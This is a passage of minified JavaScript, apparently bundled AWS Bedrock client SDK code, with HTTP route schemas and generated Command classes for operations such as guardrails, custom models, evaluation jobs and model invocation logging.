/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}/result-assets",200]},()=>EH3,()=>kH3],f_3=[9,WA,jA3,{[a8]:["GET","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}/scenarios",200]},()=>CH3,()=>LH3],N_3=[9,WA,NA3,{[a8]:["GET","/automated-reasoning-policies/{policyArn}/test-cases/{testCaseId}",200]},()=>IH3,()=>SH3],T_3=[9,WA,EA3,{[a8]:["GET","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}/test-cases/{testCaseId}/test-results",200]},()=>hH3,()=>bH3],v_3=[9,WA,lA3,{[a8]:["GET","/custom-models/{modelIdentifier}",200]},()=>BH3,()=>mH3],E_3=[9,WA,iA3,{[a8]:["GET","/model-customization/custom-model-deployments/{customModelDeploymentIdentifier}",200]},()=>xH3,()=>uH3],k_3=[9,WA,Y13,{[a8]:["GET","/evaluation-jobs/{jobIdentifier}",200]},()=>gH3,()=>FH3],C_3=[9,WA,H13,{[a8]:["GET","/foundation-models/{modelIdentifier}",200]},()=>pH3,()=>dH3],L_3=[9,WA,J13,{[a8]:["GET","/foundation-model-availability/{modelId}",200]},()=>QH3,()=>UH3],R_3=[9,WA,W13,{[a8]:["GET","/guardrails/{guardrailIdentifier}",200]},()=>cH3,()=>lH3],y_3=[9,WA,M13,{[a8]:["GET","/imported-models/{modelIdentifier}",200]},()=>iH3,()=>nH3],I_3=[9,WA,f13,{[a8]:["GET","/inference-profiles/{inferenceProfileIdentifier}",200]},()=>rH3,()=>oH3],S_3=[9,WA,F13,{[a8]:["GET","/marketplace-model/endpoints/{endpointArn}",200]},()=>aH3,()=>sH3],h_3=[9,WA,E13,{[a8]:["GET","/model-copy-jobs/{jobArn}",200]},()=>tH3,()=>eH3],b_3=[9,WA,y13,{[a8]:["GET","/model-customization-jobs/{jobIdentifier}",200]},()=>AJ3,()=>KJ3],x_3=[9,WA,I13,{[a8]:["GET","/model-import-jobs/{jobIdentifier}",200]},()=>qJ3,()=>YJ3],u_3=[9,WA,u13,{[a8]:["GET","/model-invocation-job/{jobIdentifier}",200]},()=>zJ3,()=>wJ3],B_3=[9,WA,B13,{[a8]:["GET","/logging/modelinvocations",200]},()=>HJ3,()=>JJ3],m_3=[9,WA,K63,{[a8]:["GET","/prompt-routers/{promptRouterArn}",200]},()=>OJ3,()=>XJ3],g_3=[9,WA,t13,{[a8]:["GET","/provisioned-model-throughput/{provisionedModelId}",200]},()=>$J3,()=>_J3],F_3=[9,WA,R63,{[a8]:["GET","/use-case-for-model-access",200]},()=>GJ3,()=>ZJ3],Q_3=[9,WA,J83,{[a8]:["GET","/automated-reasoning-policies",200]},()=>sJ3,()=>tJ3],U_3=[9,WA,O83,{[a8]:["GET","/automated-reasoning-policies/{policyArn}/build-workflows",200]},()=>eJ3,()=>AO3],p_3=[9,WA,Z83,{[a8]:["GET","/automated-reasoning-policies/{policyArn}/test-cases",200]},()=>KO3,()=>qO3],d_3=[9,WA,j83,{[a8]:["GET","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}/test-results",200]},()=>YO3,()=>zO3],c_3=[9,WA,N83,{[a8]:["GET","/model-customization/custom-model-deployments",200]},()=>wO3,()=>HO3],l_3=[9,WA,f83,{[a8]:["GET","/custom-models",200]},()=>JO3,()=>OO3],i_3=[9,WA,C83,{[a8]:["GET","/evaluation-jobs",200]},()=>XO3,()=>$O3],n_3=[9,WA,I83,{[a8]:["GET","/list-foundation-model-agreement-offers/{modelId}",200]},()=>_O3,()=>GO3],r_3=[9,WA,y83,{[a8]:["GET","/foundation-models",200]},()=>ZO3,()=>WO3],o_3=[9,WA,u83,{[a8]:["GET","/guardrails",200]},()=>DO3,()=>jO3],a_3=[9,WA,g83,{[a8]:["GET","/imported-models",200]},()=>MO3,()=>PO3],s_3=[9,WA,U83,{[a8]:["GET","/inference-profiles",200]},()=>VO3,()=>fO3],t_3=[9,WA,q43,{[a8]:["GET","/marketplace-model/endpoints",200]},()=>NO3,()=>TO3],e_3=[9,WA,c83,{[a8]:["GET","/model-copy-jobs",200]},()=>vO3,()=>EO3],AG3=[9,WA,o83,{[a8]:["GET","/model-customization-jobs",200]},()=>kO3,()=>CO3],KG3=[9,WA,a83,{[a8]:["GET","/model-import-jobs",200]},()=>LO3,()=>RO3],qG3=[9,WA,K43,{[a8]:["GET","/model-invocation-jobs",200]},()=>yO3,()=>IO3],YG3=[9,WA,O43,{[a8]:["GET","/prompt-routers",200]},()=>SO3,()=>hO3],zG3=[9,WA,w43,{[a8]:["GET","/provisioned-model-throughputs",200]},()=>bO3,()=>xO3],wG3=[9,WA,G43,{[a8]:["POST","/listTagsForResource",200]},()=>uO3,()=>BO3],HG3=[9,WA,U43,{[a8]:["PUT","/logging/modelinvocations",200]},()=>tO3,()=>eO3],JG3=[9,WA,e43,{[a8]:["POST","/use-case-for-model-access",201]},()=>A03,()=>K03],OG3=[9,WA,j73,{[a8]:["POST","/marketplace-model/endpoints/{endpointIdentifier}/registration",200]},()=>z03,()=>w03],XG3=[9,WA,E73,{[a8]:["POST","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowType}/start",200]},()=>j03,()=>M03],$G3=[9,WA,L73,{[a8]:["POST","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}/test-workflows",200]},()=>P03,()=>V03],_G3=[9,WA,b73,{[a8]:["POST","/evaluation-job/{jobIdentifier}/stop",200]},()=>f03,()=>N03],GG3=[9,WA,B73,{[a8]:["POST","/model-customization-jobs/{jobIdentifier}/stop",200]},()=>T03,()=>v03],ZG3=[9,WA,Q73,{[a8]:["POST","/model-invocation-job/{jobIdentifier}/stop",200]},()=>E03,()=>k03],WG3=[9,WA,zK3,{[a8]:["POST","/tagResource",200]},()=>R03,()=>y03],DG3=[9,WA,kK3,{[a8]:["POST","/untagResource",200]},()=>B03,()=>m03],jG3=[9,WA,JK3,{[a8]:["PATCH","/automated-reasoning-policies/{policyArn}",200]},()=>Q03,()=>U03],MG3=[9,WA,OK3,{[a8]:["PATCH","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}/annotations",200]},()=>g03,()=>F03],PG3=[9,WA,ZK3,{[a8]:["PATCH","/automated-reasoning-policies/{policyArn}/test-cases/{testCaseId}",200]},()=>p03,()=>d03],VG3=[9,WA,jK3,{[a8]:["PUT","/guardrails/{guardrailIdentifier}",202]},()=>c03,()=>l03],fG3=[9,WA,VK3,{[a8]:["PATCH","/marketplace-model/endpoints/{endpointArn}",200]},()=>i03,()=>n03],NG3=[9,WA,TK3,{[a8]:["PATCH","/provisioned-model-throughput/{provisionedModelId}",200]},()=>r03,()=>o03];class Ft1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","BatchDeleteEvaluationJob",{}).n("BedrockClient","BatchDeleteEvaluationJobCommand").sc(B$3).build(){}class Qt1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CancelAutomatedReasoningPolicyBuildWorkflow",{}).n("BedrockClient","CancelAutomatedReasoningPolicyBuildWorkflowCommand").sc(m$3).build(){}class Ut1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateAutomatedReasoningPolicy",{}).n("BedrockClient","CreateAutomatedReasoningPolicyCommand").sc(g$3).build(){}class pt1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateAutomatedReasoningPolicyTestCase",{}).n("BedrockClient","CreateAutomatedReasoningPolicyTestCaseCommand").sc(F$3).build(){}class dt1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateAutomatedReasoningPolicyVersion",{}).n("BedrockClient","CreateAutomatedReasoningPolicyVersionCommand").sc(Q$3).build(){}class ct1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateCustomModel",{}).n("BedrockClient","CreateCustomModelCommand").sc(U$3).build(){}class lt1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateCustomModelDeployment",{}).n("BedrockClient","CreateCustomModelDeploymentCommand").sc(p$3).build(){}class it1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateEvaluationJob",{}).n("BedrockClient","CreateEvaluationJobCommand").sc(d$3).build(){}class nt1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateFoundationModelAgreement",{}).n("BedrockClient","CreateFoundationModelAgreementCommand").sc(c$3).build(){}class rt1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateGuardrail",{}).n("BedrockClient","CreateGuardrailCommand").sc(l$3).build(){}class ot1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateGuardrailVersion",{}).n("BedrockClient","CreateGuardrailVersionCommand").sc(i$3).build(){}class at1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateInferenceProfile",{}).n("BedrockClient","CreateInferenceProfileCommand").sc(n$3).build(){}class st1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateMarketplaceModelEndpoint",{}).n("BedrockClient","CreateMarketplaceModelEndpointCommand").sc(r$3).build(){}class tt1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateModelCopyJob",{}).n("BedrockClient","CreateModelCopyJobCommand").sc(o$3).build(){}class et1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateModelCustomizationJob",{}).n("BedrockClient","CreateModelCustomizationJobCommand").sc(a$3).build(){}class Ae1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateModelImportJob",{}).n("BedrockClient","CreateModelImportJobCommand").sc(s$3).build(){}class Ke1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateModelInvocationJob",{}).n("BedrockClient","CreateModelInvocationJobCommand").sc(t$3).build(){}class qe1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreatePromptRouter",{}).n("BedrockClient","CreatePromptRouterCommand").sc(e$3).build(){}class Ye1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","CreateProvisionedModelThroughput",{}).n("BedrockClient","CreateProvisionedModelThroughputCommand").sc(A_3).build(){}class ze1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteAutomatedReasoningPolicyBuildWorkflow",{}).n("BedrockClient","DeleteAutomatedReasoningPolicyBuildWorkflowCommand").sc(q_3).build(){}class we1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteAutomatedReasoningPolicy",{}).n("BedrockClient","DeleteAutomatedReasoningPolicyCommand").sc(K_3).build(){}class He1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteAutomatedReasoningPolicyTestCase",{}).n("BedrockClient","DeleteAutomatedReasoningPolicyTestCaseCommand").sc(Y_3).build(){}class Je1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteCustomModel",{}).n("BedrockClient","DeleteCustomModelCommand").sc(z_3).build(){}class Oe1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteCustomModelDeployment",{}).n("BedrockClient","DeleteCustomModelDeploymentCommand").sc(w_3).build(){}class Xe1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteFoundationModelAgreement",{}).n("BedrockClient","DeleteFoundationModelAgreementCommand").sc(H_3).build(){}class $e1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteGuardrail",{}).n("BedrockClient","DeleteGuardrailCommand").sc(J_3).build(){}class _e1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteImportedModel",{}).n("BedrockClient","DeleteImportedModelCommand").sc(O_3).build(){}class Ge1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteInferenceProfile",{}).n("BedrockClient","DeleteInferenceProfileCommand").sc(X_3).build(){}class Ze1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteMarketplaceModelEndpoint",{}).n("BedrockClient","DeleteMarketplaceModelEndpointCommand").sc($_3).build(){}class We1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteModelInvocationLoggingConfiguration",{}).n("BedrockClient","DeleteModelInvocationLoggingConfigurationCommand").sc(__3).build(){}class De1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeletePromptRouter",{}).n("BedrockClient","DeletePromptRouterCommand").sc(G_3).build(){}class je1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeleteProvisionedModelThroughput",{}).n("BedrockClient","DeleteProvisionedModelThroughputCommand").sc(Z_3).build(){}class Me1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","DeregisterMarketplaceModelEndpoint",{}).n("BedrockClient","DeregisterMarketplaceModelEndpointCommand").sc(W_3).build(){}class Pe1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ExportAutomatedReasoningPolicyVersion",{}).n("BedrockClient","ExportAutomatedReasoningPolicyVersionCommand").sc(D_3).build(){}class Ve1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetAutomatedReasoningPolicyAnnotations",{}).n("BedrockClient","GetAutomatedReasoningPolicyAnnotationsCommand").sc(M_3).build(){}class fe1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetAutomatedReasoningPolicyBuildWorkflow",{}).n("BedrockClient","GetAutomatedReasoningPolicyBuildWorkflowCommand").sc(P_3).build(){}class Ne1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetAutomatedReasoningPolicyBuildWorkflowResultAssets",{}).n("BedrockClient","GetAutomatedReasoningPolicyBuildWorkflowResultAssetsCommand").sc(V_3).build(){}class Te1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetAutomatedReasoningPolicy",{}).n("BedrockClient","GetAutomatedReasoningPolicyCommand").sc(j_3).build(){}class ve1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetAutomatedReasoningPolicyNextScenario",{}).n("BedrockClient","GetAutomatedReasoningPolicyNextScenarioCommand").sc(f_3).build(){}class Ee1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetAutomatedReasoningPolicyTestCase",{}).n("BedrockClient","GetAutomatedReasoningPolicyTestCaseCommand").sc(N_3).build(){}class ke1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetAutomatedReasoningPolicyTestResult",{}).n("BedrockClient","GetAutomatedReasoningPolicyTestResultCommand").sc(T_3).build(){}class Ce1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetCustomModel",{}).n("BedrockClient","GetCustomModelCommand").sc(v_3).build(){}class Le1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetCustomModelDeployment",{}).n("BedrockClient","GetCustomModelDeploymentCommand").sc(E_3).build(){}class Re1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetEvaluationJob",{}).n("BedrockClient","GetEvaluationJobCommand").sc(k_3).build(){}class ye1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetFoundationModelAvailability",{}).n("BedrockClient","GetFoundationModelAvailabilityCommand").sc(L_3).build(){}class Ie1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetFoundationModel",{}).n("BedrockClient","GetFoundationModelCommand").sc(C_3).build(){}class Se1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetGuardrail",{}).n("BedrockClient","GetGuardrailCommand").sc(R_3).build(){}class he1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetImportedModel",{}).n("BedrockClient","GetImportedModelCommand").sc(y_3).build(){}class be1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetInferenceProfile",{}).n("BedrockClient","GetInferenceProfileCommand").sc(I_3).build(){}class xe1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetMarketplaceModelEndpoint",{}).n("BedrockClient","GetMarketplaceModelEndpointCommand").sc(S_3).build(){}class ue1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetModelCopyJob",{}).n("BedrockClient","GetModelCopyJobCommand").sc(h_3).build(){}class Be1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetModelCustomizationJob",{}).n("BedrockClient","GetModelCustomizationJobCommand").sc(b_3).build(){}class me1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetModelImportJob",{}).n("BedrockClient","GetModelImportJobCommand").sc(x_3).build(){}class ge1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetModelInvocationJob",{}).n("BedrockClient","GetModelInvocationJobCommand").sc(u_3).build(){}class Fe1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetModelInvocationLoggingConfiguration",{}).n("BedrockClient","GetModelInvocationLoggingConfigurationCommand").sc(B_3).build(){}class Qe1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetPromptRouter",{}).n("BedrockClient","GetPromptRouterCommand").sc(m_3).build(){}class Ue1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetProvisionedModelThroughput",{}).n("BedrockClient","GetProvisionedModelThroughputCommand").sc(g_3).build(){}class pe1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","GetUseCaseForModelAccess",{}).n("BedrockClient","GetUseCaseForModelAccessCommand").sc(F_3).build(){}class S41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListAutomatedReasoningPolicies",{}).n("BedrockClient","ListAutomatedReasoningPoliciesCommand").sc(Q_3).build(){}class h41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListAutomatedReasoningPolicyBuildWorkflows",{}).n("BedrockClient","ListAutomatedReasoningPolicyBuildWorkflowsCommand").sc(U_3).build(){}class b41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListAutomatedReasoningPolicyTestCases",{}).n("BedrockClient","ListAutomatedReasoningPolicyTestCasesCommand").sc(p_3).build(){}class x41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListAutomatedReasoningPolicyTestResults",{}).n("BedrockClient","ListAutomatedReasoningPolicyTestResultsCommand").sc(d_3).build(){}class u41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListCustomModelDeployments",{}).n("BedrockClient","ListCustomModelDeploymentsCommand").sc(c_3).build(){}class B41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListCustomModels",{}).n("BedrockClient","ListCustomModelsCommand").sc(l_3).build(){}class m41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListEvaluationJobs",{}).n("BedrockClient","ListEvaluationJobsCommand").sc(i_3).build(){}class de1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListFoundationModelAgreementOffers",{}).n("BedrockClient","ListFoundationModelAgreementOffersCommand").sc(n_3).build(){}class ce1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListFoundationModels",{}).n("BedrockClient","ListFoundationModelsCommand").sc(r_3).build(){}class g41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListGuardrails",{}).n("BedrockClient","ListGuardrailsCommand").sc(o_3).build(){}class F41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListImportedModels",{}).n("BedrockClient","ListImportedModelsCommand").sc(a_3).build(){}class Q41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListInferenceProfiles",{}).n("BedrockClient","ListInferenceProfilesCommand").sc(s_3).build(){}class U41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListMarketplaceModelEndpoints",{}).n("BedrockClient","ListMarketplaceModelEndpointsCommand").sc(t_3).build(){}class p41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListModelCopyJobs",{}).n("BedrockClient","ListModelCopyJobsCommand").sc(e_3).build(){}class d41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListModelCustomizationJobs",{}).n("BedrockClient","ListModelCustomizationJobsCommand").sc(AG3).build(){}class c41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListModelImportJobs",{}).n("BedrockClient","ListModelImportJobsCommand").sc(KG3).build(){}class l41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListModelInvocationJobs",{}).n("BedrockClient","ListModelInvocationJobsCommand").sc(qG3).build(){}class i41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListPromptRouters",{}).n("BedrockClient","ListPromptRoutersCommand").sc(YG3).build(){}class n41 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListProvisionedModelThroughputs",{}).n("BedrockClient","ListProvisionedModelThroughputsCommand").sc(zG3).build(){}class le1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","ListTagsForResource",{}).n("BedrockClient","ListTagsForResourceCommand").sc(wG3).build(){}class ie1 extends g8.Command.classBuilder().ep(o8).m(function(A,K,q,Y){return[i8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AmazonBedrockControlPlaneService","PutModelInvocationLoggingConfiguration",{}).n("BedrockClient","PutModelInvocationLoggingConfigurationCommand").sc(HG3).build(){}class ne1 extends 